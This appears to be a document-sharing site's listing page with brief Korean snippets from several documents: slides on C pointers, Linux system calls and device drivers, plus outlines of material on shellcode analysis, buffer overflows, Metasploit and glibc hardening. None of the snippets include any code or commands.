Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향

More information

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M 01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM Machine code Assembly code Linux system call in assembly

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - secu10.pptx Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함

More information

Microsoft PowerPoint - chap6 [호환 모드]

Microsoft PowerPoint - chap6 [호환 모드] 제 6 장프로세스 (Process) 숙대창병모 1 내용 프로세스시작 / 종료 명령중인수 / 환경변수 메모리배치 / 할당 비지역점프 숙대창병모 2 프로세스시작 / 종료 숙대창병모 3 Process Start Kernel exec system call user process Cstart-up routine call return int main(int argc,

More information

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 시스템호출개요 리눅스에서는사용자공간과커널공간을구분 사용자프로그램은사용자모드, 운영체제는커널모드에서수행 커널공간에대한접근은커널 ( 특권, priviledged) 모드에서가능 컴퓨팅자원 (CPU, memory, I/O 등 ) 을안전하게보호 커널수행을안전하게유지

More information